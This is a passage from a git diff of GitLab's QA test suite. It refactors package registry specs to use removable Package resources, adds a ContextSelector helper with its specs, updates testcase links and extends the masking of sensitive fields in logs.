+ expect(show.output).to have_content('ovh')
+ expect(show.output).to have_content('monitoring')
+ end
+ end
+ end
+
+ private
+
+ def add_ci_files
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.commit_message = 'Add parent and child pipelines CI files.'
+ commit.add_files(
+ [
+ child_ci_file,
+ parent_ci_file
+ ]
+ )
+ end
+ end
+
+ def parent_ci_file
+ {
+ file_path: '.gitlab-ci.yml',
+ content: <<~YAML
+ test:
+ stage: test
+ script: echo test
+ tags: [#{executor}]
+
+ deploy:
+ stage: deploy
+ trigger:
+ include: child.yml
+ parallel:
+ matrix:
+ - PROVIDER: ovh
+ STACK: [monitoring, app]
+
+ YAML
+ }
+ end
+
+ def child_ci_file
+ {
+ file_path: 'child.yml',
+ content: <<~YAML
+ test_vars:
+ script:
+ - echo $PROVIDER
+ - echo $STACK
+ tags: [#{executor}]
+ YAML
+ }
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb
index 9ce87f353d0..916b809ebc1 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb
@@ -15,7 +15,7 @@ module QA
runner.remove_via_api!
end
- it 'user registers a new specific runner', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/392' do
+ it 'user registers a new specific runner', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1764' do
Flow::Login.sign_in
runner.project.visit!
diff --git a/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb
index 5bfc88e45f2..d6d8729114d 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb
@@ -33,7 +33,7 @@ module QA
runner.remove_via_api!
end
- it 'creates an MR with code coverage statistics', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/807' do
+ it 'creates an MR with code coverage statistics', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1740' do
runner.project.visit!
configure_code_coverage(simplecov)
merge_request.visit!
@@ -42,7 +42,7 @@ module QA
Support::Retrier.retry_until(max_attempts: 5, sleep_interval: 5) do
mr_widget.has_pipeline_status?(/Pipeline #\d+ passed/)
end
- expect(mr_widget).to have_content('Coverage 66.67%')
+ expect(mr_widget).to have_content('Test coverage 66.67%')
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/composer_registry_spec.rb b/qa/qa/specs/features/browser_ui/5_package/composer_registry_spec.rb
index 6c1a0cea209..2489545782a 100644
--- a/qa/qa/specs/features/browser_ui/5_package/composer_registry_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/composer_registry_spec.rb
@@ -1,18 +1,25 @@
# frozen_string_literal: true
+require 'securerandom'
+
module QA
RSpec.describe 'Package', :orchestrated, :packages do
describe 'Composer Repository' do
include Runtime::Fixtures
- let(:package_name) { 'my_package' }
-
let(:project) do
Resource::Project.fabricate_via_api! do |project|
project.name = 'composer-package-project'
end
end
+ let(:package) do
+ Resource::Package.new.tap do |package|
+ package.name = "my_package-#{SecureRandom.hex(4)}"
+ package.project = project
+ end
+ end
+
let!(:runner) do
Resource::Runner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
@@ -30,7 +37,7 @@ module QA
let(:composer_json_file) do
<<~EOF
{
- "name": "#{project.path_with_namespace}/#{package_name}",
+ "name": "#{project.path_with_namespace}/#{package.name}",
"description": "Library XY",
"type": "library",
"license": "GPL-3.0-only",
@@ -94,14 +101,15 @@ module QA
after do
runner.remove_via_api!
+ package.remove_via_api!
end
it 'publishes a composer package and deletes it', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1088' do
Page::Project::Menu.perform(&:click_packages_link)
Page::Project::Packages::Index.perform do |index|
- expect(index).to have_package(package_name)
- index.click_package(package_name)
+ expect(index).to have_package(package.name)
+ index.click_package(package.name)
end
Page::Project::Packages::Show.perform(&:click_delete)
@@ -109,7 +117,7 @@ module QA
Page::Project::Packages::Index.perform do |index|
aggregate_failures 'package deletion' do
expect(index).to have_content("Package deleted successfully")
- expect(index).not_to have_package(package_name)
+ expect(index).not_to have_package(package.name)
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/conan_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/conan_repository_spec.rb
index 7effefc4d73..a1e2eb1046c 100644
--- a/qa/qa/specs/features/browser_ui/5_package/conan_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/conan_repository_spec.rb
@@ -5,14 +5,19 @@ module QA
describe 'Conan Repository' do
include Runtime::Fixtures
- let(:package_name) { 'conantest' }
-
let(:project) do
Resource::Project.fabricate_via_api! do |project|
project.name = 'conan-package-project'
end
end
+ let(:package) do
+ Resource::Package.new.tap do |package|
+ package.name = 'conantest'
+ package.project = project
+ end
+ end
+
let!(:runner) do
Resource::Runner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
@@ -29,6 +34,7 @@ module QA
after do
runner.remove_via_api!
+ package.remove_via_api!
end
it 'publishes, installs, and deletes a Conan package', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1077' do
@@ -47,10 +53,10 @@ module QA
stage: deploy
script:
- "conan remote add gitlab #{gitlab_address_with_port}/api/v4/projects/#{project.id}/packages/conan"
- - "conan new #{package_name}/0.1 -t"
+ - "conan new #{package.name}/0.1 -t"
- "conan create . mycompany/stable"
- - "CONAN_LOGIN_USERNAME=ci_user CONAN_PASSWORD=${CI_JOB_TOKEN} conan upload #{package_name}/0.1@mycompany/stable --all --remote=gitlab"
- - "conan install conantest/0.1@mycompany/stable --remote=gitlab"
+ - "CONAN_LOGIN_USERNAME=ci_user CONAN_PASSWORD=${CI_JOB_TOKEN} conan upload #{package.name}/0.1@mycompany/stable --all --remote=gitlab"
+ - "conan install #{package.name}/0.1@mycompany/stable --remote=gitlab"
tags:
- "runner-for-#{project.name}"
YAML
@@ -71,15 +77,15 @@ module QA
Page::Project::Menu.perform(&:click_packages_link)
Page::Project::Packages::Index.perform do |index|
- expect(index).to have_package(package_name)
- index.click_package(package_name)
+ expect(index).to have_package(package.name)
+ index.click_package(package.name)
end
Page::Project::Packages::Show.perform(&:click_delete)
Page::Project::Packages::Index.perform do |index|
expect(index).to have_content("Package deleted successfully")
- expect(index).not_to have_package(package_name)
+ expect(index).not_to have_package(package.name)
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/generic_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/generic_repository_spec.rb
index 3e3addf9eeb..bbf8ea8c05e 100644
--- a/qa/qa/specs/features/browser_ui/5_package/generic_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/generic_repository_spec.rb
@@ -3,14 +3,19 @@
module QA
RSpec.describe 'Package', :orchestrated, :packages do
describe 'Generic Repository' do
- let(:package_name) { 'my_package' }
-
let(:project) do
Resource::Project.fabricate_via_api! do |project|
project.name = 'generic-package-project'
end
end
+ let(:package) do
+ Resource::Package.new.tap do |package|
+ package.name = "my_package"
+ package.project = project
+ end
+ end
+
let!(:runner) do
Resource::Runner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
@@ -90,14 +95,15 @@ module QA
after do
runner.remove_via_api!
+ package.remove_via_api!
end
it 'uploads a generic package, downloads and deletes it', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1108' do
Page::Project::Menu.perform(&:click_packages_link)
Page::Project::Packages::Index.perform do |index|
- expect(index).to have_package(package_name)
- index.click_package(package_name)
+ expect(index).to have_package(package.name)
+ index.click_package(package.name)
end
Page::Project::Packages::Show.perform(&:click_delete)
@@ -105,7 +111,7 @@ module QA
Page::Project::Packages::Index.perform do |index|
aggregate_failures 'package deletion' do
expect(index).to have_content("Package deleted successfully")
- expect(index).to have_no_package(package_name)
+ expect(index).to have_no_package(package.name)
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/maven_gradle_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/maven_gradle_repository_spec.rb
index b5b050a5dfe..4d4f981f021 100644
--- a/qa/qa/specs/features/browser_ui/5_package/maven_gradle_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/maven_gradle_repository_spec.rb
@@ -23,6 +23,13 @@ module QA
end
end
+ let(:package) do
+ Resource::Package.new.tap do |package|
+ package.name = package_name
+ package.project = project
+ end
+ end
+
let!(:runner) do
Resource::Runner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
@@ -39,6 +46,7 @@ module QA
after do
runner.remove_via_api!
+ package.remove_via_api!
end
it 'publishes a maven package via gradle', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1074' do
diff --git a/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb
index 2f508d00790..7234edb46d3 100644
--- a/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb
@@ -31,6 +31,13 @@ module QA
end
end
+ let(:package) do
+ Resource::Package.new.tap do |package|
+ package.name = package_name
+ package.project = project
+ end
+ end
+
let!(:runner) do
Resource::Runner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
diff --git a/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb b/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb
index 97df8fedf87..49b42bd1ff6 100644
--- a/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb
@@ -5,8 +5,7 @@ module QA
describe 'npm registry' do
include Runtime::Fixtures
- let(:registry_scope) { project.group.sandbox.path }
- let(:package_name) { "@#{registry_scope}/#{project.name}" }
+ let!(:registry_scope) { project.group.sandbox.path }
let(:auth_token) do
unless Page::Main::Menu.perform(&:signed_in?)
Flow::Login.sign_in
@@ -15,12 +14,23 @@ module QA
Resource::PersonalAccessToken.fabricate!.token
end
- let(:project) do
+ let!(:project) do
Resource::Project.fabricate_via_api! do |project|
project.name = 'npm-registry-project'
end
end
+ let(:package) do
+ Resource::Package.new.tap do |package|
+ package.name = "@#{registry_scope}/#{project.name}"
+ package.project = project
+ end
+ end
+
+ after do
+ package.remove_via_api!
+ end
+
it 'publishes an npm package and then deletes it', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/944' do
uri = URI.parse(Runtime::Scenario.gitlab_address)
gitlab_host_with_port = "#{uri.host}:#{uri.port}"
@@ -29,7 +39,7 @@ module QA
file_path: 'package.json',
content: <<~JSON
{
- "name": "#{package_name}",
+ "name": "#{package.name}",
"version": "1.0.0",
"description": "Example package for GitLab npm registry",
"publishConfig": {
@@ -56,20 +66,20 @@ module QA
Page::Project::Menu.perform(&:click_packages_link)
Page::Project::Packages::Index.perform do |index|
- expect(index).to have_package(package_name)
+ expect(index).to have_package(package.name)
- index.click_package(package_name)
+ index.click_package(package.name)
end
Page::Project::Packages::Show.perform do |show|
- expect(show).to have_package_info(package_name, "1.0.0")
+ expect(show).to have_package_info(package.name, "1.0.0")
show.click_delete
end
Page::Project::Packages::Index.perform do |index|
expect(index).to have_content("Package deleted successfully")
- expect(index).not_to have_package(package_name)
+ expect(index).not_to have_package(package.name)
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb
index f143bc52095..c0d84d82e51 100644
--- a/qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb
@@ -6,8 +6,6 @@ module QA
RSpec.describe 'Package', :orchestrated, :packages do
describe 'NuGet Repository' do
include Runtime::Fixtures
-
- let(:package_name) { "dotnetcore-#{SecureRandom.hex(8)}" }
let(:project) do
Resource::Project.fabricate_via_api! do |project|
project.name = 'nuget-package-project'
@@ -15,6 +13,13 @@ module QA
end
end
+ let(:package) do
+ Resource::Package.new.tap do |package|
+ package.name = "dotnetcore-#{SecureRandom.hex(8)}"
+ package.project = project
+ end
+ end
+
let(:another_project) do
Resource::Project.fabricate_via_api! do |project|
project.name = 'nuget-package-install-project'
@@ -43,6 +48,7 @@ module QA
after do
runner.remove_via_api!
another_runner.remove_via_api!
+ package.remove_via_api!
end
it 'publishes a nuget package at the project level, installs and deletes it at the group level', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1073' do
@@ -66,7 +72,7 @@ module QA
script:
- dotnet restore -p:Configuration=Release
- dotnet build -c Release
- - dotnet pack -c Release -p:PackageID=#{package_name}
+ - dotnet pack -c Release -p:PackageID=#{package.name}
- dotnet nuget add source "$CI_SERVER_URL/api/v4/projects/$CI_PROJECT_ID/packages/nuget/index.json" --name gitlab --username gitlab-ci-token --password $CI_JOB_TOKEN --store-password-in-clear-text
- dotnet nuget push "bin/Release/*.nupkg" --source gitlab
only:
@@ -127,7 +133,7 @@ module QA
script:
- dotnet nuget locals all --clear
- dotnet nuget add source "$CI_SERVER_URL/api/v4/groups/#{another_project.group.id}/-/packages/nuget/index.json" --name gitlab --username gitlab-ci-token --password $CI_JOB_TOKEN --store-password-in-clear-text
- - "dotnet add otherdotnet.csproj package #{package_name} --version 1.0.0"
+ - "dotnet add otherdotnet.csproj package #{package.name} --version 1.0.0"
only:
- "#{another_project.default_branch}"
tags:
@@ -153,15 +159,15 @@ module QA
Page::Group::Menu.perform(&:go_to_group_packages)
Page::Project::Packages::Index.perform do |index|
- expect(index).to have_package(package_name)
- index.click_package(package_name)
+ expect(index).to have_package(package.name)
+ index.click_package(package.name)
end
Page::Project::Packages::Show.perform(&:click_delete)
Page::Project::Packages::Index.perform do |index|
expect(index).to have_content("Package deleted successfully")
- expect(index).not_to have_package(package_name)
+ expect(index).not_to have_package(package.name)
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/pypi_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/pypi_repository_spec.rb
index 396863b33c4..fb29af43da6 100644
--- a/qa/qa/specs/features/browser_ui/5_package/pypi_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/pypi_repository_spec.rb
@@ -4,15 +4,19 @@ module QA
RSpec.describe 'Package', :orchestrated, :packages do
describe 'PyPI Repository' do
include Runtime::Fixtures
-
- let(:package_name) { 'mypypipackage' }
-
let(:project) do
Resource::Project.fabricate_via_api! do |project|
project.name = 'pypi-package-project'
end
end
+ let(:package) do
+ Resource::Package.new.tap do |package|
+ package.name = 'mypypipackage'
+ package.project = project
+ end
+ end
+
let!(:runner) do
Resource::Runner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
@@ -87,6 +91,7 @@ module QA
after do
runner.remove_via_api!
+ package.remove_via_api!
project&.remove_via_api!
end
@@ -94,8 +99,8 @@ module QA
Page::Project::Menu.perform(&:click_packages_link)
Page::Project::Packages::Index.perform do |index|
- expect(index).to have_package(package_name)
- index.click_package(package_name)
+ expect(index).to have_package(package.name)
+ index.click_package(package.name)
end
Page::Project::Packages::Show.perform(&:click_delete)
@@ -103,13 +108,13 @@ module QA
Page::Project::Packages::Index.perform do |index|
aggregate_failures do
expect(index).to have_content("Package deleted successfully")
- expect(index).not_to have_package(package_name)
+ expect(index).not_to have_package(package.name)
end
end
end
context 'Geo', :orchestrated, :geo do
- it 'replicates a published pypi package to the Geo secondary site', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1120' do
+ it 'replicates a published pypi package to the Geo secondary site', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1120', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/325556', type: :investigating } do
QA::Runtime::Logger.debug('Visiting the secondary Geo site')
QA::Flow::Login.while_signed_in(address: :geo_secondary) do
@@ -127,8 +132,8 @@ module QA
Page::Project::Menu.perform(&:click_packages_link)
Page::Project::Packages::Index.perform do |index|
- index.wait_for_package_replication(package_name)
- expect(index).to have_package(package_name)
+ index.wait_for_package_replication(package.name)
+ expect(index).to have_package(package.name)
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/6_release/deploy_key/add_deploy_key_spec.rb b/qa/qa/specs/features/browser_ui/6_release/deploy_key/add_deploy_key_spec.rb
index 87bd2b76560..713b32de217 100644
--- a/qa/qa/specs/features/browser_ui/6_release/deploy_key/add_deploy_key_spec.rb
+++ b/qa/qa/specs/features/browser_ui/6_release/deploy_key/add_deploy_key_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Release' do
describe 'Deploy key creation' do
- it 'user adds a deploy key', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/390' do
+ it 'user adds a deploy key', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1765' do
Flow::Login.sign_in
key = Runtime::Key::RSA.new
diff --git a/qa/qa/specs/helpers/context_selector.rb b/qa/qa/specs/helpers/context_selector.rb
new file mode 100644
index 00000000000..4313f7c34dd
--- /dev/null
+++ b/qa/qa/specs/helpers/context_selector.rb
@@ -0,0 +1,86 @@
+# frozen_string_literal: true
+
+require 'rspec/core'
+
+module QA
+ module Specs
+ module Helpers
+ module ContextSelector
+ extend self
+
+ def configure_rspec
+ ::RSpec.configure do |config|
+ config.before do |example|
+ if example.metadata.key?(:only)
+ skip('Test is not compatible with this environment or pipeline') unless ContextSelector.context_matches?(example.metadata[:only])
+ elsif example.metadata.key?(:exclude)
+ skip('Test is excluded in this job') if ContextSelector.exclude?(example.metadata[:exclude])
+ end
+ end
+ end
+ end
+
+ def exclude?(*options)
+ return false unless Runtime::Env.ci_job_name.present?
+
+ context_matches?(*options)
+ end
+
+ def context_matches?(*options)
+ return false unless Runtime::Scenario.attributes[:gitlab_address]
+
+ opts = {}
+ opts[:domain] = '.+'
+ opts[:tld] = '.com'
+
+ uri = URI(Runtime::Scenario.gitlab_address)
+
+ options.each do |option|
+ opts[:domain] = 'gitlab' if option == :production
+
+ next unless option.is_a?(Hash)
+
+ if option[:pipeline].present? && Runtime::Env.ci_project_name.present?
+ return pipeline_matches?(option[:pipeline])
+
+ elsif option[:job].present?
+ return job_matches?(option[:job])
+
+ elsif option[:subdomain].present?
+ opts.merge!(option)
+
+ opts[:subdomain] = case option[:subdomain]
+ when Array
+ "(#{option[:subdomain].join("|")})."
+ when Regexp
+ option[:subdomain]
+ else
+ "(#{option[:subdomain]})."
+ end
+ end
+ end
+
+ uri.host.match?(/^#{opts[:subdomain]}#{opts[:domain]}#{opts[:tld]}$/)
+ end
+
+ alias_method :dot_com?, :context_matches?
+
+ def job_matches?(job_patterns)
+ Array(job_patterns).any? do |job|
+ pattern = job.is_a?(Regexp) ? job : Regexp.new(job)
+ pattern = Regexp.new(pattern.source, pattern.options | Regexp::IGNORECASE)
+ pattern =~ Runtime::Env.ci_job_name
+ end
+ end
+
+ def pipeline_matches?(pipeline_to_run_in)
+ Array(pipeline_to_run_in).any? { |pipeline| pipeline.to_s.casecmp?(pipeline_from_project_name(Runtime::Env.ci_project_name)) }
+ end
+
+ def pipeline_from_project_name(project_name)
+ project_name.to_s.start_with?('gitlab-qa') ? Runtime::Env.default_branch : project_name
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/helpers/quarantine.rb b/qa/qa/specs/helpers/quarantine.rb
index d365819057e..15b4ed8336b 100644
--- a/qa/qa/specs/helpers/quarantine.rb
+++ b/qa/qa/specs/helpers/quarantine.rb
@@ -6,22 +6,18 @@ module QA
module Specs
module Helpers
module Quarantine
- include RSpec::Core::Pending
+ include ::RSpec::Core::Pending
extend self
def configure_rspec
- RSpec.configure do |config|
+ ::RSpec.configure do |config|
config.before(:context, :quarantine) do
Quarantine.skip_or_run_quarantined_contexts(config.inclusion_filter.rules, self.class)
end
config.before do |example|
Quarantine.skip_or_run_quarantined_tests_or_contexts(config.inclusion_filter.rules, example)
-
- if example.metadata.key?(:only)
- skip('Test is not compatible with this environment or pipeline') unless Runtime::Env.context_matches?(example.metadata[:only])
- end
end
end
end
@@ -52,10 +48,10 @@ module QA
if example.metadata.key?(:quarantine)
quarantine_tag = example.metadata[:quarantine]
- if quarantine_tag&.is_a?(Hash) && quarantine_tag&.key?(:only)
+ if quarantine_tag.is_a?(Hash) && quarantine_tag&.key?(:only)
# If the :quarantine hash contains :only, we respect that.
# For instance `quarantine: { only: { subdomain: :staging } }` will only quarantine the test when it runs against staging.
- return unless Runtime::Env.context_matches?(quarantine_tag[:only])
+ return unless ContextSelector.context_matches?(quarantine_tag[:only])
end
skip(quarantine_message(quarantine_tag))
diff --git a/qa/qa/specs/helpers/rspec.rb b/qa/qa/specs/helpers/rspec.rb
new file mode 100644
index 00000000000..f49e556b0d9
--- /dev/null
+++ b/qa/qa/specs/helpers/rspec.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require 'rspec/core'
+
+module QA
+ module Specs
+ module Helpers
+ module RSpec
+ # We need a reporter for internal tests that's different from the reporter for
+ # external tests otherwise the results will be mixed up. We don't care about
+ # most reporting, but we do want to know if a test fails
+ class RaiseOnFailuresReporter < ::RSpec::Core::NullReporter
+ def self.example_failed(example)
+ raise example.exception
+ end
+ end
+
+ # We use an example group wrapper to prevent the state of internal tests
+ # expanding into the global state
+ # See: https://github.com/rspec/rspec-core/issues/2603
+ def describe_successfully(*args, &describe_body)
+ example_group = RSpec.describe(*args, &describe_body)
+ ran_successfully = example_group.run RaiseOnFailuresReporter
+ expect(ran_successfully).to eq true
+ example_group
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/runner.rb b/qa/qa/specs/runner.rb
index 04eaa02bda5..ff690962db8 100644
--- a/qa/qa/specs/runner.rb
+++ b/qa/qa/specs/runner.rb
@@ -44,7 +44,7 @@ module QA
tags_for_rspec.push(%w[--tag ~skip_signup_disabled]) if QA::Runtime::Env.signup_disabled?
- tags_for_rspec.push(%w[--tag ~skip_live_env]) if QA::Runtime::Env.dot_com?
+ tags_for_rspec.push(%w[--tag ~skip_live_env]) if QA::Specs::Helpers::ContextSelector.dot_com?
QA::Runtime::Env.supported_features.each_key do |key|
tags_for_rspec.push(%W[--tag ~requires_#{key}]) unless QA::Runtime::Env.can_test? key
diff --git a/qa/qa/support/page/logging.rb b/qa/qa/support/page/logging.rb
index e183d711b30..f5299ed840d 100644
--- a/qa/qa/support/page/logging.rb
+++ b/qa/qa/support/page/logging.rb
@@ -52,19 +52,19 @@ module QA
elements
end
- def check_element(name)
+ def check_element(name, click_by_js = nil)
log("checking :#{name}")
super
end
- def uncheck_element(name)
+ def uncheck_element(name, click_by_js = nil)
log("unchecking :#{name}")
super
end
- def click_element_coordinates(name)
+ def click_element_coordinates(name, **kwargs)
log(%Q(clicking the coordinates of :#{name}))
super
@@ -81,7 +81,7 @@ module QA
end
def fill_element(name, content)
- masked_content = name.to_s.include?('password') ? '*****' : content
+ masked_content = name.to_s.match?(/token|key|password/) ? '*****' : content
log(%Q(filling :#{name} with "#{masked_content}"))
diff --git a/qa/spec/runtime/env_spec.rb b/qa/spec/runtime/env_spec.rb
index 5a98721466f..8218ab428b0 100644
--- a/qa/spec/runtime/env_spec.rb
+++ b/qa/spec/runtime/env_spec.rb
@@ -341,56 +341,4 @@ RSpec.describe QA::Runtime::Env do
end
end
end
-
- describe '.context_matches?' do
- it 'returns true when url has .com' do
- QA::Runtime::Scenario.define(:gitlab_address, "https://staging.gitlab.com")
-
- expect(described_class.dot_com?).to be_truthy
- end
-
- it 'returns false when url does not have .com' do
- QA::Runtime::Scenario.define(:gitlab_address, "https://gitlab.test")
-
- expect(described_class.dot_com?).to be_falsey
- end
-
- context 'with arguments' do
- it 'returns true when :subdomain is set' do
- QA::Runtime::Scenario.define(:gitlab_address, "https://staging.gitlab.com")
-
- expect(described_class.dot_com?(subdomain: :staging)).to be_truthy
- end
-
- it 'matches multiple subdomains' do
- QA::Runtime::Scenario.define(:gitlab_address, "https://staging.gitlab.com")
-
- expect(described_class.context_matches?(subdomain: [:release, :staging])).to be_truthy
- expect(described_class.context_matches?(:production, subdomain: [:release, :staging])).to be_truthy
- end
-
- it 'matches :production' do
- QA::Runtime::Scenario.define(:gitlab_address, "https://gitlab.com/")
-
- expect(described_class.context_matches?(:production)).to be_truthy
- end
-
- it 'doesnt match with mismatching switches' do
- QA::Runtime::Scenario.define(:gitlab_address, 'https://gitlab.test')
-
- aggregate_failures do
- expect(described_class.context_matches?(tld: '.net')).to be_falsey
- expect(described_class.context_matches?(:production)).to be_falsey
- expect(described_class.context_matches?(subdomain: [:staging])).to be_falsey
- expect(described_class.context_matches?(domain: 'example')).to be_falsey
- end
- end
- end
-
- it 'returns false for mismatching' do
- QA::Runtime::Scenario.define(:gitlab_address, "https://staging.gitlab.com")
-
- expect(described_class.context_matches?(:production)).to be_falsey
- end
- end
end
diff --git a/qa/spec/scenario/test/integration/object_storage_spec.rb b/qa/spec/scenario/test/integration/object_storage_spec.rb
deleted file mode 100644
index 235dd495687..00000000000
--- a/qa/spec/scenario/test/integration/object_storage_spec.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-RSpec.describe QA::Scenario::Test::Integration::ObjectStorage do
- describe '#perform' do
- it_behaves_like 'a QA scenario class' do
- let(:tags) { [:object_storage] }
- end
- end
-end
diff --git a/qa/spec/spec_helper.rb b/qa/spec/spec_helper.rb
index 16d86ef6ed2..631ebf65893 100644
--- a/qa/spec/spec_helper.rb
+++ b/qa/spec/spec_helper.rb
@@ -22,6 +22,7 @@ RSpec.configure do |config|
config.include ::Matchers
QA::Specs::Helpers::Quarantine.configure_rspec
+ QA::Specs::Helpers::ContextSelector.configure_rspec
config.before do |example|
QA::Runtime::Logger.debug("\nStarting test: #{example.full_description}\n")
diff --git a/qa/spec/specs/helpers/context_selector_spec.rb b/qa/spec/specs/helpers/context_selector_spec.rb
new file mode 100644
index 00000000000..16b6c6601b1
--- /dev/null
+++ b/qa/spec/specs/helpers/context_selector_spec.rb
@@ -0,0 +1,294 @@
+# frozen_string_literal: true
+
+require 'rspec/core/sandbox'
+
+RSpec.configure do |c|
+ c.around do |ex|
+ RSpec::Core::Sandbox.sandboxed do |config|
+ # If there is an example-within-an-example, we want to make sure the inner example
+ # does not get a reference to the outer example (the real spec) if it calls
+ # something like `pending`
+ config.before(:context) { RSpec.current_example = nil }
+
+ config.color_mode = :off
+
+ ex.run
+ end
+ end
+end
+
+RSpec.describe QA::Specs::Helpers::ContextSelector do
+ include Helpers::StubENV
+ include QA::Specs::Helpers::RSpec
+
+ before do
+ QA::Runtime::Scenario.define(:gitlab_address, 'https://staging.gitlab.com')
+ described_class.configure_rspec
+ end
+
+ describe '.context_matches?' do
+ it 'returns true when url has .com' do
+ QA::Runtime::Scenario.define(:gitlab_address, "https://staging.gitlab.com")
+
+ expect(described_class.dot_com?).to be_truthy
+ end
+
+ it 'returns false when url does not have .com' do
+ QA::Runtime::Scenario.define(:gitlab_address, "https://gitlab.test")
+
+ expect(described_class.dot_com?).to be_falsey
+ end
+
+ context 'with arguments' do
+ it 'returns true when :subdomain is set' do
+ QA::Runtime::Scenario.define(:gitlab_address, "https://staging.gitlab.com")
+
+ expect(described_class.dot_com?(subdomain: :staging)).to be_truthy
+ end
+
+ it 'matches multiple subdomains' do
+ QA::Runtime::Scenario.define(:gitlab_address, "https://staging.gitlab.com")
+
+ expect(described_class.context_matches?(subdomain: [:release, :staging])).to be_truthy
+ expect(described_class.context_matches?(:production, subdomain: [:release, :staging])).to be_truthy
+ end
+
+ it 'matches :production' do
+ QA::Runtime::Scenario.define(:gitlab_address, "https://gitlab.com/")
+
+ expect(described_class.context_matches?(:production)).to be_truthy
+ end
+
+ it 'doesnt match with mismatching switches' do
+ QA::Runtime::Scenario.define(:gitlab_address, 'https://gitlab.test')
+
+ aggregate_failures do
+ expect(described_class.context_matches?(tld: '.net')).to be_falsey
+ expect(described_class.context_matches?(:production)).to be_falsey
+ expect(described_class.context_matches?(subdomain: [:staging])).to be_falsey
+ expect(described_class.context_matches?(domain: 'example')).to be_falsey
+ end
+ end
+ end
+
+ it 'returns false for mismatching' do
+ QA::Runtime::Scenario.define(:gitlab_address, "https://staging.gitlab.com")
+
+ expect(described_class.context_matches?(:production)).to be_falsey
+ end
+ end
+
+ describe 'description and context blocks' do
+ context 'with environment set' do
+ it 'can apply to contexts or descriptions' do
+ group = describe_successfully 'Runs in staging', only: { subdomain: :staging } do
+ it('runs in staging') {}
+ end
+
+ expect(group.examples[0].execution_result.status).to eq(:passed)
+ end
+ end
+
+ context 'with different environment set' do
+ before do
+ QA::Runtime::Scenario.define(:gitlab_address, 'https://gitlab.com')
+ described_class.configure_rspec
+ end
+
+ it 'does not run against production' do
+ group = describe_successfully 'Runs in staging', :something, only: { subdomain: :staging } do
+ it('runs in staging') {}
+ end
+
+ expect(group.examples[0].execution_result.status).to eq(:pending)
+ end
+ end
+ end
+
+ it 'runs only in staging' do
+ group = describe_successfully do
+ it('runs in staging', only: { subdomain: :staging }) {}
+ it('doesnt run in staging', only: :production) {}
+ it('runs in staging also', only: { subdomain: %i[release staging] }) {}
+ it('runs in any env') {}
+ end
+
+ expect(group.examples[0].execution_result.status).to eq(:passed)
+ expect(group.examples[1].execution_result.status).to eq(:pending)
